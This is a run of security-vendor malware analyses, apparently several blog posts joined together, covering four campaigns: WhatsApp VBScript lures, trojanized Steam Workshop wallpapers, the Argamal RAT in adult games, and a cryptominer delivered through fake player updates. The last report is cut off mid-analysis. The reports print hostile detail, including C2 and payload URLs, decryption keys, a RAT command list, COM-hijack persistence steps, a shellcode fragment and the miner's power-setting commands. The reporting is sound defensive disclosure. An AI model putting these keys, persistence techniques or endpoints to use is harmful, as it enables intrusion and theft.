We also identified infrastructure overlaps with IP addresses previously associated with ValleyRAT and Gh0st RAT activity. While these overlaps may indicate infrastructure reuse or shared hosting resources, they are not sufficient to establish a direct connection to any known threat actor.

Based on the available evidence, we assess with low confidence that the campaign was conducted by a Chinese-speaking operator. Additional investigation, infrastructure overlaps, or operational indicators would be required to support a stronger attribution assessment.

Conclusion

This campaign uses compromised WhatsApp accounts to distribute malicious VBScript attachments that ultimately install a preconfigured ManageEngine Endpoint Central agent on victim systems. Observed victims were located across multiple countries and territories, including Malaysia, Brazil, India, Mexico, Singapore, UK, Spain, Taiwan, Australia, Russia, and Vietnam, suggesting a broad and opportunistic campaign. Users should be cautious when receiving unexpected attachments through WhatsApp, even when they appear to originate from known contacts. Script and executable file types such as VBS, VBE, EXE, BAT, CMD, JS, and PS1 should not be opened unless their legitimacy has been independently verified.

IOCs

VBScript

c7f38cbb99c8b74fa0465293feeba700 Financial Reports.vbs
b7cd06c71465038b658a6dc1f273a507 Debt confirmation.vbs
9f13c7b8ba391b2f597874e54d310648 Electronic statement(A).vbs
993f4c0cadbc769a4b0ed62a918db58d Financial Reports(s).vbs
7f81c1bc8cfd588e8998968e2621456e Outstanding Payment List.vbs
7403cbcc5a9c32384d431856dc48fcc9 Statement of debt (4).vbs
68c16c46f8afb9e00bbaba0207fb0a46 Debt Note (2).vbs
66442f2457eca8f47385b1fb2c6fcab8 Statement of Debt(30K).vbs
6359e6236471cbe434d0ef4c42b7f879 Applicationform1.vbs
5b6bbcc06cf08cc99e1afeda486d42fb Extrato de Conciliação.vbs
5002eca748205d544618e3bd2dedc223 Statement of Debt(29K).vbs
4f0593e8e0e8fac49429e9b45ebf7fa1 Outstanding Payment List.vbs
4044e4b6471c9de7b0a4ba37d9d9df9a billing statement (2).vbs
20209b3a32769afc6a75694b8d8839dd Statement of Debt(A).vbs
0ba93109757776a44de9d8c88baa4963 Financial Reports(C1).vbs
02bb20455cc592a69c080abac770ce90 Le formulaire de demande le plus récent .vbs
6c39900d77dcba158e1d27c7619cb06d Outstanding Balance Sheet(A).vbs
dad708e050632a4280cabf98ac1376b7 Outstanding Balance Sheet.vbs
05d188f071d097f5b6bd8138749b4b14 Penyata bank.vbs
2c6f05f1f309d89b2236e6c8b59c88f9 Account Statement（13K） (2).vbs
3b1aba44dd3d9b6339b6f56e2f42034b Statement of Account.txt
d43fdaa1f0ee09d7e5f0f94ee9df7b6c Bitte füllen Sie das Formular für Umsatzsteuer-Nullsatz-Verkäufe aus.vbs
df4fa0369eaca5cec348be293890d4af Account Statement.vbs
63ac85195b73753333316a889cf5880f Statement of Account(O).vbs
74fd9f91fc93b6288b4fc253ea5b3e20 Sila semak bil anda.vbs
d06333c360b51456f427e616c3c5f8bd Sila semak bil anda.vbs
993f4c0cadbc769a4b0ed62a918db58d FinancialReportsS.vbs
1d94fbe9cab21278cc3f104bea334d08 Promissory_Note(b).vbs
9d9ac85765e4a818a3ccabe2cf4fef82 Debt Statement.vbs
6fb6a55424adfb61e31f06aef33273e5 dfjieya.vbs
f90ed4b2d0b67114aa89ddfed658e5c0 dfjieya.vbs
8c3322009b8982663c0cbecd9492e7eb 0lf.vbs
66705384a7ad81d14c34fc6c054a0ecf iowepv.vbs
8c6d9fc389ad3f20ccbc71d77eb39bfa btksfmsi.vbs
1a3cc75466ffb1971482f7abf7aabc3f home3.vbs
1c47c63e5ed25060d95359c57c77b107 zipats.vbs
31037a42ca048e06e69a78f55bc2eff5 1122.vbs
7f16449cd0c4862d1eadf8a5742bf09a payload_1.vbs
79ecd61b09b0f2d54b34586c916c4ec9 sac8.vbs
7849061c536a3efb05a56d504694e7e7 6oy.vbs
ddaffe9849f7f3c79f8804adb9a6b3d5 kof.vbs
d01cad98dd0d01b75e04e784953c5e2b sleestak_payload_1.vbs

Domains

temu.baskwms[.]top
invoice.msopsa[.]top
qse.shoppes[.]help
shaaslong[.]one
baoxis[.]cc
baolongwes.oss-ap-southeast-1.aliyuncs[.]com
sdcwww.oss-ap-southeast-1.aliyuncs[.]com
baoyuw2s.s3.ap-southeast-1.amazonaws[.]com
hksha3.s3.ap-southeast-1.amazonaws[.]com
sjdkjj23.s3.ap-southeast-1.amazonaws[.]com
xijkwm2.s3.ap-southeast-1.amazonaws[.]com
yifubafu.s3.ap-southeast-1.amazonaws[.]com
caiwuascw.s3.us-east-005.backblazeb2[.]com
facaia.s3.us-east-005.backblazeb2[.]com

Attacker-controlled UEMS server IP Address

202.61.160[.]202
202.61.160[.]201
202.61.160[.]137
202.61.160[.]160
202.61.160[.]208
38.55.151[.]63

Since late 2025, malware has been spreading rapidly through the Steam Workshop, the gaming platform’s built-in service for players to create and share custom content. The attackers are primarily targeting gamers in China and Russia, aiming to hijack their accounts. To pull this off, they are exploiting Wallpaper Engine – a popular live wallpaper app available on Steam – specifically leveraging its Workshop sharing feature. The malware is hidden inside the wallpaper packages users share with one another. Running one of these compromised wallpapers can lead to a stolen Steam account or leave the victim’s system infected with backdoors or crypto miners.

What is Wallpaper Engine?

Wallpaper Engine is an app that allows you to put animated wallpapers on your desktop. It’s available for both Windows and Android, though our investigation focused strictly on the Windows version. Thanks to a massive Steam community, the app is quite popular, boasting around 100,000 daily active users and nearly a million reviews. It comes with a built-in editor so users can create their own designs, and it supports a few different wallpaper types:

• Videos: MP4, WebM, and other common video formats
• Scenes: interactive wallpapers built inside the app’s own editor
• Web pages: HTML pages powered by JavaScript and CSS, which can also include audio and video elements
• Applications: active windows from third-party Windows-compatible software that Wallpaper Engine sets as the user’s desktop background

That last type, application wallpapers, is where things get risky, because these are essentially standalone programs. They can be anything from mini-games you play right on your desktop, to planners, calendars, system monitors, or widgets tracking your CPU or GPU usage.

Application wallpapers: a built-in security risk

The whole concept of “application wallpapers” essentially allows foreign code to be run directly on your computer. Cybercriminals took note of this feature and started embedding malware right into these types of wallpapers. Because Wallpaper Engine relies on Steam Workshop for content sharing, anyone can create a wallpaper and publish it for the community to download and install for free. Naturally, this setup is a magnet for bad actors.

We discovered dozens of these malicious application wallpapers floating around Steam Workshop, and each one had already been downloaded thousands – or even tens of thousands – of times.

When we analyzed them, we caught two different methods the attackers were using to spread their malware:

• An archive containing the executable wallpaper alongside the malicious files. This payload usually consisted of compromised EXE files, DLLs, or malicious scripts.
• In other cases, attackers threw a curveball by hiding the malware inside a password-protected archive. Either the victim was tricked into typing the password, or a script handled it automatically. The attackers would hide the password in plain sight – either right in the archive’s name or inside a JSON configuration installed along with other wallpaper files. For all the other variations, the payload triggered automatically when the user selected and applied the wallpaper.

Inside an infected game wallpaper

Main screen of the wallpaper application

On the surface, this wallpaper sample (above) we uncovered in December 2025 looks completely harmless. Once launched, there’s absolutely nothing to trigger your suspicion. The built-in game boots up flawlessly, runs smoothly, and the desktop controls work exactly as they should. But behind the scenes, a full-blown infection is underway. Within just a few minutes, a user might suddenly realize their Steam account has been hijacked, or find their computer crippled by malware, with their files being encrypted by ransomware or their system performance tanking because of a hidden crypto miner.

How the malware deploys

Once the game wallpaper launches, it drops a backdoor file called Synaptics.exe (part of the DarkKomet malware family) straight into the victim’s system. At the same time, an executable named ._cache_GAME1.exe fires up to boot the actual game, NTRaholic.

But that ._cache_GAME1.exe module is doing double duty. It simultaneously installs a custom version of a system library called AggregatorHost.dll with a payload inside. This modified library has one main objective: track down the Steam app on the computer and hunt for account credentials.

Looking for the Steam app

Next, the modified library hijacks the user’s live Steam session.

Hijacking the Steam session

After that, the compromised AggregatorHost.dll sends all the collected data to a server controlled by the hackers at hxxp://120.48.156[.]17/ey.php. Once the attackers have control of that active session, they can use the victim’s account to upload even more malicious wallpapers to Steam Workshop.

Attribution and victims

The game wallpaper described above is just one flavor of the many variations we uncovered during our research. By weaponizing the application wallpaper feature, bad actors have successfully distributed almost every type of malware under the sun – from popular infostealers and backdoors to crypto miners and botnet loaders.

Because the range of tools being used is so diverse, we suspect this isn’t the work of a single mastermind. Instead, it looks like multiple scattered, independent hacking groups are all jumping on the same trend. Right now, the primary targets are gamers in China. The wallpaper art styles and titles are tailored specifically to them, and the data backs it up: our security systems caught a staggering 89% of the malicious download attempts happening right there. That said, there’s absolutely nothing stopping these attackers from pivoting and launching a similar campaign in any other part of the world. Russia comes in second place for total downloads at 5.5%, followed by a smattering of other countries and territories: Singapore (1.4%), Hong Kong (0.9%), Germany (0.9%), Vietnam (0.9%), India (0.5%), and Canada (0.5%).

Malicious app wallpaper downloads by region

How to stay safe

Our investigation proves that even trusted platforms like the Steam Workshop aren’t completely safe from malware. In most cases, we caught old, familiar threats such as DarkKomet, the Lumma and Vidar infostealers, and the RenEngine loader. Kaspersky solutions can easily spot and block all of these payloads, no matter how clever the packaging is, thanks to our proactive security layers. Here are some of the specific threat detection verdicts assigned to the objects we discovered during our research:

• HEUR:Trojan-PSW.Win32.gen
• HEUR:Trojan-PSW.Win32.Python.gen
• HEUR:Backdoor.Win32.DarkKomet
• Trojan-Dropper.Python.Agent
• HEUR:Trojan-Ransom.Win32.Gen.gen
• PDM:Trojan.Win32.Generic.

By the time this post went live, the Steam team had already scrubbed the identified malicious wallpapers and links from the platform. However, given how frequently new infected wallpapers keep popping up on the Steam Workshop, you shouldn’t rely on Steam to catch everything. It’s highly recommended to run an antivirus scan on these types of wallpapers before you actually apply them.

Indicators of compromise

MD5

• 95856f2ce428c728d9781d3296558068
• af080780cca2acd1d082ce01e7cc346a
• c133c3dd9f7d6934598025047df41abf
• d1693bbff456ae8fa3360446706df6da
• 8c2cc585ad8a13a72a704c0fda0c9854
• b9fa763a53da3eea742d0f3c845a8c09
• ded08ae5df7f1b12e5fdb767dbbed0b1
• 20965254e29104986e11939decd39549
• 18dedc0009f0927cba6425c84cce9883
• 0f4f01c6d495abb37403072dd017ce8d
• 5620f01284329f561b1839a36be55355
• fe1f6485013cd5e6d5cf718049b0b8d6
• 74414ed4b63aadec039b603c32762b80

C2 servers

• http://202.144.192[.]29
• http://202.144.192[.]29/audit.php
• http://202.144.192[.]29/download2/Themes2.zip
• http://120.48.156[.]17
• http://120.48.156[.]17/ey.php?ka=user1&id
• http://brightly[.]to
• http://brightly[.]to/download2/Themes2.zip
• https://www.dropbox[.]com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
• https://docs.google[.]com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

Malicious wallpapers

• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3603213159
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3591930233
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3584318845
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3436875036
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3633494498
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3556591375
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3635875825
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3601924072
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3605588743
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3553253793
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3462675635
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3605621824
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3610240788
• https://steamcommunity[.]com/sharedfiles/filedetails/?id=3610366547

Update, June 17

We have since confirmed that the malicious wallpapers were present in the app as early as August 2025.

In April 2026, we discovered a new malware campaign targeting players of “hentai” games. Once launched, the infected games install a previously unknown malicious implant on the user’s machine. After a few days, the implant downloads and executes a Trojan, resulting in full system compromise and broad remote control capabilities for the attackers. We dubbed this malware family “Argamal”.

The malware uses COM hijacking to persist on the victim’s machine, replacing the InprocServer32 entry for Windows Color System Calibration Loader DLL. This task is triggered when the user logs in, effectively allowing the malware to run at startup.

Kaspersky solutions detect this threat as Trojan.Win32.Termixia.*, Trojan.Win32.Agent.*, HEUR:Trojan.Win32.Argamal.gen and HEUR:Trojan-Downloader.Win32.Argamal.gen.

Technical details

Background

In April, as part of our ongoing monitoring of telemetry data, we found some suspicious DLLs. Further analysis revealed that various versions of these DLLs have existed since at least 2024.

The DLLs were spawned by different games written using various game engines and programming languages, including RenPy (Python) and RPG Maker MV (JavaScript), among others. However, they all had one thing in common: they were all hentai games. We searched for the distribution sources and found a number of websites hosting game screenshots and download links. These links redirected users to PixelDrain, a free file transfer service.

Adult games catalogue

In addition to these websites, the trojanized games have also been distributed via different torrent trackers, including AniRena.

Malicious game torrent in AniRena

Delivery

Both the dedicated websites and torrents delivered an archive containing the infected game.

Contents of the game archive

This archive contained fully functional, legitimate game files, as well as a modified FFmpeg DLL (SHA1: 42add9475e67a1ccc6a6af94b5475d3defc01b85), that imported the DllGetClassObject function from a file called natives2_blob.bin. Since the game needs ffmpeg.dll to run properly, the library loads as soon as the user starts the game.

Script executor

The natives2_blob.bin (SHA1: edce72f59e4c1d136cd1946af70d334c19df858d) file is a DLL that executes a Base64-encoded PowerShell script when loaded.

The natives2_blob.bin file code

This PowerShell script, which we’ll call Stage1, performs basic checks for controlled environments. For example, it checks for the Sandboxie folder in Program Files and Procmon64 in the process list. If all the checks indicate that the process is not running in a controlled environment, it proceeds to establish persistence.

Stage1 sets the MI_V environment variable (and also MI_V2 in the new versions of malware) for the current user to another Base64-encoded PowerShell script, which we’ll call Stage2. After that, it sets the InprocServer32 registry key at HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} to a random DLL file name in a random subdirectory of %USER%\AppData\Local, as well as the ShellFolder subkey to another random DLL file name in the same location. Stage1 also creates a scheduled task that will execute three days later. This task executes Stage2 and runs once.

Stage2 is a payload downloader script. It takes previously generated DLL filenames from the registry and downloads an encrypted payload called zaesdl.dat from GitHub using bitsadmin.exe. The downloaded payload is saved in the settings.dat file in the randomly chosen subdirectory of %USER%\AppData\Local. Stage2 decrypts it using AES-CBC with the key zbcd1j9234r670eh and an IV equal to the key. The decrypted payload is then saved in the DLL file specified in the ShellFolder registry subkey.

The decrypted payload is set as InprocServer32 at HKCU\SOFTWARE\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}, which is a COM object used by the \Microsoft\Windows\WindowsColorSystem\Calibration Loader scheduled task. This task runs every time a user logs in, allowing the malware to run during every user session.

Before quitting, Stage2 also removes the changes made under the HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} registry key, unsets the MI_V environment variable (and MI_V2 in newer versions), and removes the scheduled task that launched Stage2.

Malicious agent

Early payload versions decrypted themselves using the 0xB0C1D4E9 rolling XOR key, where the decryption key for the i + 1 block is the encrypted content of the i block (each encrypted block being four bytes long). The most recent agent versions don’t do that.

The samples we found had string encryption; they use a simple substitution with a key that corresponds position-by-position to the following alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#$./:<>*&~. The decryption process involves finding the position of each symbol of the encrypted strings in the key, and replacing it with the symbol that occupies the same position in the alphabet.
During our investigation, we found the following keys were used:

• 17htUno/I3L&fK2H#yapE@b5NqZ$Q4xmeF.s96uB>jkdWCPvAgD*XwO:iR~TMrV0YGl8z<JSc
• 71htUno/I3L&fK2H#aypE@b5NqZ$Q4xmeF.s96uB>jdkWCPvAgD*XwO:iR~TMrV0YGl8z<JSc
• E1hUtno/IL3&fK2H#ypa7@b5NqZ$Q4xmeF.s69uB>jkdWCvPAgD*XwO:iR~TrMV0YGl8z<JcS

All symbols not used in the key remain unchanged.

String decryption

The payload checks for the presence of the following security solutions using the output of the tasklist command:

• Kaspersky
• Avast
• McAfee
• BitDefender
• MalwareBytes
• +36 other solutions

Security solution detection logic

The payload itself is a RAT with broad functionality. The default C2 server is asper1[.]freeddns[.]org for earlier versions and Winst0[.]kozow[.]com for the latest versions of the payload. Both domains point to 186[.]158.223.35. We also saw another IP address for the first C2 in pDNS records, though we haven’t actually seen it in use. The C2 address can change based on a C2 reply or when certain conditions are met. For example, if the user’s default locale is set to “zh-CN”, the RAT sets its C2 address to country1[.]ignorelist[.]com. During most of our investigation, this domain pointed to 127[.]0.0.1, but starting April 26, it has been pointing to 186[.]158.223.35 as well.

The payload sends UDP heartbeats to port 57441 of the C2 server. These heartbeats contain information about detected security solutions, system startup time, time since last input activity, architecture info, machine IP address and username.

The C2 may respond to the heartbeat. Based on this response, the payload can perform different actions. Below is the full list of available commands.

The C2 can also set a flag in the response that will turn on the extended RAT mode. In this mode, the payload communicates with the C2 server using the 3747/tcp port.

TCP communications are encrypted using a simple substitution cipher. Each character is replaced using a fixed mapping defined by the key:

koP]Y4Os-_t?cB',aK.Wm>QM2[U!^C`*@Ff:X\6Dp8H%ATydE<e(#G&LhwRZ5znjJqgNrl)I7V$3=910"+Svxi/;ub

This key corresponds position-by-position to the standard ASCII character sequence:

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}

In other words, each character in the ASCII set is replaced by the corresponding character in the key string.

C2 requests and responses are divided into two parts by the first space character. The first part is a command and the second part is usually an argument.
After connecting and before receiving information from the C2, the malware sends metadata about the infected machine using the NOOP command. This metadata includes a run cycle counter, mounted drive metadata, time since the last input activity and data about the display settings.

Based on the C2 command, the malware can execute commands on the infected machine, perform reboot and shutdown actions, control the cursor, take screenshots, compress files into archives, and send files to other specified servers. In short, it can fully control the machine. The full list of commands is as follows:

System control

• KILL REBOOT: Reboots the infected system
• KILL POWER: Shuts down the infected system
• KILL SELF: Same as the QUIT command (described below)
• KILL ME: Exits process running the malware

Surveillance

• SCREEN / SCREEN9: makes a screenshot, saves it to the ~wra1269.tmp file and sends it to the C2

File operations

• DELETE <filename>: deletes specified file
• DELDIR <dirname>: deletes specified directory
• REN <file path 1>#<file path 2>: moves specified file
• MAKDIR <path>: creates directory
• ZIPFILE <file or folder name> / ZIPFOLDER <file or folder name>: compresses specified file/folder into a .zip archive
• TAR <file or folder name> / TAR2 <file or folder name>: compresses specified file/folder into a .tar archive
• GETFILEDATE <filename>: sends file’s last modification date
• SETFILEDATE <filename>: sets file’s last modification date
• GETFILEACC <filename>: sends file’s last access date
• DWLOAD <filename>: sends file to the C2
• UPLOAD <filename>#<C2 address>: uploads file to the specified C2 server

Reconnaissance

• USER: sends username
• KALIVE: sends run cycle counter
• IDLE: sends number of seconds passed since last input activity
• DRIVES: sends information about mounted drives
• FOLDEX <folder type>: sends full path to a directory of the specified type:
• – type = 0x63: temporary directory
• – type = 0x64: \Google\Chrome\User Data\Default\ in AppData\Local folder
• – type = 0x65: \Downloads\ in user home directory
• – type = 0x66: \Microsoft\Excel\XLSTART\ in AppData folder
• – type = 0x67: AppData folder
• LFILES <folder path>: lists and sends paths to all files in the directory
• OSVER: sends information about user, hostname, OS architecture and version
• COMPILERDATE: sends constant hardcoded in the RAT, e.g., 25.10.2025

Generic control

• DSOCKE: recreates TCP keep-alive socket
• QUIT: notifies the C2 about quitting, closes the socket and stops the process
• RUNHID <command> / RUN <command>: runs specified command inside ShellExecuteW
• RUNDOS <command>: runs specified command inside CreateProcessW
• RUNTASK <command>: creates, runs and deletes task that executes specified command
• SKEY <key code>: presses specified key
• MOUSE FREEZE: freezes mouse movement
• MOUSE <command>: clicks the specified mouse button or sets the cursor position to the specified coordinates

Other delivery methods

During our research, we also observed other delivery methods for the RAT. Instead of patching FFmpeg and downloading the payload from GitHub, the attackers included the main payload as libpython64.dat or another file with a similar name in the lib\py3-windows-x86_64 directory of the game. This .dat file was loaded by one of the libraries used in the game, which was patched for this purpose.

In another case, the threat actor posted their malicious DLL file (payload downloader) on a gaming forum, disguising it as a cheat.

Infrastructure

Our research revealed the following infrastructure was used in this attack.

Victims

According to our telemetry, hundreds of individuals were infected with this malware. The majority of the victims were located in Russia, Brazil, Germany and Vietnam.

Attribution

Based on the language of the comments in the code, infrastructure data and other facts we assess with medium confidence that the developer of the downloader chain speaks Spanish.

The actor behind this attack uses Spanish in variable names and comments. For example, the Base64-decoded delivery script contains the following lines:

Part of the PowerShell script used in the payload delivery

In addition, the JavaScript code from the website distributing infected games contains variable names, function names and comments in Spanish:

JavaScript code from the malicious site

Notably, the malware payloads used in this attack had previously chosen 127.0.0.1 as their C2 server when the victim’s default locale is set to “zh-CN”, thus not targeting Chinese users. This may indicate that the attacker is associated with a Chinese-speaking threat actor or uses payloads developed by a Chinese-speaking threat actor. However, we still believe it’s unlikely that the developer of these delivery chains is Chinese-speaking.

Conclusions

The Argamal Trojan is a new RAT targeting individuals who seek adult games. During our analysis, we observed a steady stream of updates to the payload, including the addition of new features and fixes for various bugs, as well as changes to the infrastructure. This leads us to believe that the threat actor behind this malware will continue to develop and enhance it. The campaign’s goal is likely data and credential theft; however, the RAT enables the attacker to take full control of the device and execute any malicious activity they want.

Creating malware in today’s development landscape has become significantly easier thanks to the wide availability of detailed guides, tooling, and automation resources. As a result, it is crucial not only to detect known malware but also to identify new and evolving threats as they emerge. Kaspersky solutions prevented the malicious activity in the earliest stages of the attack. The solutions help ensure device security by identifying not only known threats but also the behavior of the software and its actions, providing comprehensive protection against malware.

Indicators of Compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

File hashes
RAT payloads:
76253fb55aed707440e808ea78e7101318436b1c
1405a3c5e0aeb08012484134e16cdec4ab29b4a4
535f4337f261b6da20a3c614eb13270bed2d533a
d2cb0d7a9ad2b5d4ea7c2da8aec62beb37cf36d6
e05f1767c2a337910ed75e90288838d6d0541164
dad26f61da7b8bccc78364411812be74c025b475
29f1d346a6e71774c7dad25b90f446b2974393df
e815a9b418d09c2d4bcd074c2c0bc21406eeb22f
17f8f8f34dfa737f36182fed7ff9e9814a114058
954722b0c9c678b1313d1f8b204e102842dc5889
69331cfdac792dc79240e6a6bb6e803eabd70beb
901cfa97b1baaf908fd4a02bb52d970f576c4193
5f1f3689bcf23de1b280b5f35712946da0f7978f
c2d9d48b3b10bd58cdf5df9463e3ffcd60533ff3
2423a5bf0fa7cb9ec09211630a5488629499691b
ae4601a19d28332a3ec6ac31b385cdf53be53450

Trojan downloaders:
9803604ec45f31f9ef75bcca1e1310d8ac1fc3a6
edce72f59e4c1d136cd1946af70d334c19df858d
02819d200d1424882af81cb504b3e8614b32397a

Domains and IPs
asper1[.]freeddns[.]org
Winst0[.]kozow[.]com
Country1[.]ignorelist[.]com
186[.]158.223.35

GitHub repositories used in the campaign
hxxps://github[.]com/gmz159/u
hxxps://github[.]com/DnyP/files
hxxps://github[.]com/mgzv/p

Introduction

In late April 2026, a client reached out to us for incident response support after discovering a miner running on users’ computers. We later discovered that the malware was being distributed via illegal movie and TV show streaming sites. The infection chain leveraged a fake update for a video player plugin. When the user attempted to watch a video, the player displayed a message saying the plugin version was outdated and asking to install an update to continue.

Clicking the link downloaded a ZIP archive with the following contents:

The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context. The library contained the logic for deploying the miner and establishing persistence on the device.

At the time of the investigation, the infection risk was associated with two pirated video sites in the .ru and .top TLDs.

Link to previous campaigns

The current incident does not appear to be an isolated case. After analyzing the infection vector and the logic of the DLL, we concluded that this activity is a continuation of a campaign involving pirated digital libraries, which was previously described by another cybersecurity company.

The delivery mechanism for the malicious archive has remained virtually unchanged. Previously, the archive was downloaded in parts from the domain file[.]ipfs[.]us[.]69[.]mu, but this domain was unavailable at the time of our investigation. Instead, the threat actor employed a new website, urush1bar4[.]online.

The structure of the archive has also been preserved: inside is a legitimate executable and a large malicious DLL (see the screenshot below).

In the course of our research, we also discovered a blog post by NTT Security describing a similar delivery method for a malicious archive. In that instance, the threat actors displayed a fake browser crash page (shown below) while simultaneously downloading an archive to the device with a name starting with chromium-patch-nightly.

This scenario resembles the current scheme involving the fake video player plugin update. Given the previously described activity, it’s safe to assume that this campaign has been active since at least 2022. Throughout this entire period, the threat actor has been updating both the downloadable malware and individual parts of the infection mechanism.

Potential distribution scale

As in previous episodes of the campaign, infections occur via highly popular websites. As of late April 2026, sites linked to the campaign typically displayed extremely high monthly traffic. For instance, the audience for the smallest of the free digital libraries stood at 11,000 users, while the largest reached 4.7 million. For pirated movie and TV show streaming sites, this figure ranged from 2.1 million to 27.4 million. In April, the total number of visits to websites where the malware described in this study was detected reached 40 million.

The popularity of these sites increases the potential scale of the miner’s distribution. Furthermore, the campaign is not limited to a single type of platform: the malicious archive is being distributed through both online digital libraries and movie and TV show streaming sites. This broadens the potential range of victims and makes it more difficult to attribute the threat to a single infection vector.

The downloadable archive

The current version of the downloadable malware is a ZIP archive containing a legitimate EXE file and a malicious DLL. When the executable runs, the library side-loads into its process, triggering the malicious logic.

The technical analysis that follows covers the current version of this malware. This version was first observed in April 2025 and has been distributed unmodified for over a year.

DLL analysis

Most of the data inside the DLL carries no meaningful weight and was randomly generated just to inflate the file size and impede analysis.

Amidst the large volume of junk code inside the DLL, there is a single function that triggers a stack overflow during execution:

Based on the code, the size of the stackBuf buffer on the stack is only 64 bytes, and the SmashStack function overwrites this buffer without validating the length of the input data.

This overflow constructs a ROP chain that decrypts the next stage. After decryption, it transfers execution to code located within the modified DOS header of the PE file:

The header was intentionally modified to make it into valid shellcode:

pop     r10
push    r10
call    $+5
pop     rcx 
sub     rcx, 9
mov     rax, rcx
add     rax, 5C1000h
call    rax
retn

This shellcode passes control to a function located at offset 0x5C1000 from the base of the PE file. This function then reflectively loads the same PE file into memory.

Going forward, we will refer to this decrypted PE file as the main module.

Main module

The module’s behavior across its different operational stages is detailed below:

The main module is a modified fork of the SilentCryptoMiner project. We have previously analyzed miners leveraging this project in other posts: Scam Information and Event Management and Undercover miner: how YouTubers get pressed into distributing SilentCryptoMiner as a restriction bypass tool. However, this specific fork has not been documented anywhere before, which is why we decided to break down its unique features in detail in this article.

Upon an initial run, the main module checks whether it has permission to proceed with execution. To do this, it collects the following data from the victim’s device:

• Processor information
• The serial number of the C:/ drive
• Whether the process was launched with elevated privileges
• The process start time in Unix timestamp format

The information is transmitted as a single large DNS query using the DNS tunneling technique. An example of the DNS query is shown below:

The attackers disguise the DNS query as legitimate traffic through low-level packet crafting and by using a domain name ending in microsoft.com. However, the IP address to which the query is actually sent has no relation to Microsoft.

DNS query crafting code

The execution of the main module proceeds only if the following byte sequence is detected in the response: 01 02 03 04. Following a successful check, the main module launches, and the subsequent logic is adjusted depending on whether the process has elevated privileges on the compromised host.
Let’s look at both scenarios:

1. The process is launched with elevated privileges.

In this case, preparatory steps precede the miner launch:

• The malware adds Windows Defender exclusions for EXE and DLL files, as well as for the %USERPROFILE%, %PROGRAMDATA%, and %WINDIR% folders.
• It kills Microsoft’s Malicious Software Removal Tool (MSRT) by calling ZwSetInformationFile with the FileDispositionInformation type, which causes the mrt.exe file to be deleted upon closing. To prevent MSRT from being automatically installed during the next update, the DontOfferThroughWUAU parameter is created with a value of 1 under the HKLM\Software\Policies\Microsoft\MRT registry key.
• Automatic hibernation and sleep mode are disabled for when the device is running on both AC power and battery.

powercfg /x -hibernate-timeout-ac 0
powercfg /x -hibernate-timeout-dc 0
powercfg /x -standby-timeout-ac 0
powercfg /x -standby-timeout-dc 0

This is done to maximize the miner’s potential runtime on the device.

Next, to achieve persistence, a copy is created in the C:\ProgramData\Google\Chrome directory, after which the GoogleUpdateTaskMachineQC service is registered and configured to launch automatically at system startup.

Finally, four reflexive loads are executed: the components are injected directly into the memory of the target processes without writing to disk, having bypassed standard Windows loading mechanisms. Each implant is injected into its own host process:

• RAT agent → into conhost.exe
• Watchdog → into explorer.exe
• CPU miner → into explorer.exe
• GPU miner → into explorer.exe, but only if a discrete GPU is present in the system. This is verified by enumerating all display adapters in the system.

2. The process is launched with standard privileges.

In this scenario, the miner begins repeatedly triggering User Account Control (UAC) prompts until it is successfully executed with elevated privileges. The workflow is as follows:

1. Upon initial execution, a copy is made to the %USERPROFILE%\AppData\Roaming\Sandboxie directory and relaunched from there. Simultaneously, an attempt is made to launch it with elevated privileges via UAC.
2. If execution occurs from the Sandboxie folder:

• Persistence is configured for the miner copy in this folder by adding an entry to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
• Every three minutes, an attempt is made to launch with elevated privileges via UAC until the GoogleUpdateTaskMachineQC service is successfully installed.

A successful installation requires all of the following conditions to be met:

1. The GoogleUpdateTaskMachineQC service exists in the system.
2. The Start value for this service is set to 2 (Automatic).
3. The ImagePath value points to a file in the C:\ProgramData\Google\Chrome folder.
4. This file exists on disk.

Watchdog

The purpose of this component is to ensure the uninterrupted operation of the miner. At the very beginning of its execution, it copies all files from the C:\ProgramData\Google\Chrome folder and encrypts the contents of each file using a cyclic XOR algorithm with the key AFeIboiOmImJS2ypJU0pTpAO61SELkUc. After that, the encrypted contents are written into the process memory, and the following structure is created in memory for each file:

class FileContainer{
	wchar_t* fullPath; // full path to file
	size_t* ptrSize;   // pointer to file size
	uint8_t* xorEncryptedFile; //pointer to buffer containing encrypted file contents
};

As soon as the contents of all files are saved in memory, Watchdog enters an infinite loop, where every five seconds, it checks the integrity of the installed GoogleUpdateTaskMachineQC service, just as the main module does. If the service is found to be incorrectly installed, the miner overwrites its files in the C:\ProgramData\Google\Chrome path with the contents acquired at startup.

To successfully remediate the miner, this module, which runs inside the explorer.exe process, must be terminated first.

RAT agent

This module provides remote control capabilities via four commands, which are described at the end of this section. The command-and-control addresses used to receive these commands follow this format:

• http://{domain}.space/index.php?authorization=1
• http://{domain}.site/index.php? backup version

